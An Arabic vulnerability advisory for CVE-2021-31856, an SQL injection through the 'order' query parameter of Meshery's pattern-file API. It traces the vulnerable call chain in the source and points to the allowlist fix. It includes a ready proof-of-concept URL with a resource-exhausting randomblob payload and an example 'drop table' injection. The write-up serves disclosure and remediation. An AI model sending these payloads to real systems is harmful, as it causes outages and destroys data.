
تقرير مفصل عن CVE-2021-31856 مع PoC وتحليل الشيفرة لثغرة حقن SQL في API ملف النمط في Meshery، مما يتيح استخراج البيانات دون مصادقة.
| العنصر | التفاصيل | ملاحظة |
|---|---|---|
| المشروع | https://github.com/layer5io/meshery | |
| تاريخ الإعلان | 2021-04-28 | |
| CVE-ID | CVE-2021-31856 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856 |
| EDB-ID | \ | |
| الإصدار الضعيف | v0.5.2 | \ |
| الإصدار المُصحح | v0.5.3 | https://github.com/layer5io/meshery/pull/2745 |
| CVSS | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | |
| المؤلف | https://github.com/ssst0n3 |
دالة GetMesheryPatterns() في meshery/models/meshery_pattern_persister.go تحتوي على ثغرة حقن SQL عبر معامل order في المسار /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0.
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0
متصفحك لا يدعم فيديو HTML5. بدلاً من ذلك، هنا رابط الفيديو.
المعامل order في دالة GetMesheryPatterns هو مثيل من نوع string. سيتم إلحاقه مباشرة بعبارة الاستعلام عند استخدام gorm، ويتم تنفيذ عبارة استعلام SQL بواسطة Find().
https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
إذا جاء المعامل order من إدخال المستخدم دون أي تصفية، فهناك ثغرة حقن SQL.
بتتبع عملية الاستدعاء، نجد أن المعامل "order" يأتي مباشرة من الاستعلام.
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140
func (h *Handler) GetMesheryPatternsHandler(
rw http.ResponseWriter,
r *http.Request,
prefObj *models.Preference,
user *models.User,
provider models.Provider,
) {
q := r.URL.Query()
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
if err != nil {
http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
return
}
rw.Header().Set("Content-Type", "application/json")
fmt.Fprint(rw, string(resp))
}
إذا قمنا بتصحيح الأخطاء، نجد أن عبارة الاستعلام هي:
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>
إذا جعلنا order=id;drop table meshery_patterns، فستصبح العبارة:
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns
وسيتم حذف الجدول.
سلسلة الاستدعاء الكاملة هي:
https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127
gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
Methods("POST", "GET")
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93
func (h *Handler) PatternFileRequestHandler(
...
h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149
func (h *Handler) GetMesheryPatternsHandler(
...
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..
https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}
https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
تعيين قائمة مسموحة (allowlist) للمعامل order بدلاً من استخدام المعاملات من إدخال المستخدم دون أي تصفية.
https://github.com/layer5io/meshery/pull/2745
يمكنك الحصول على بعض المراجع من وثائق gorm: https://gorm.io/docs/security.html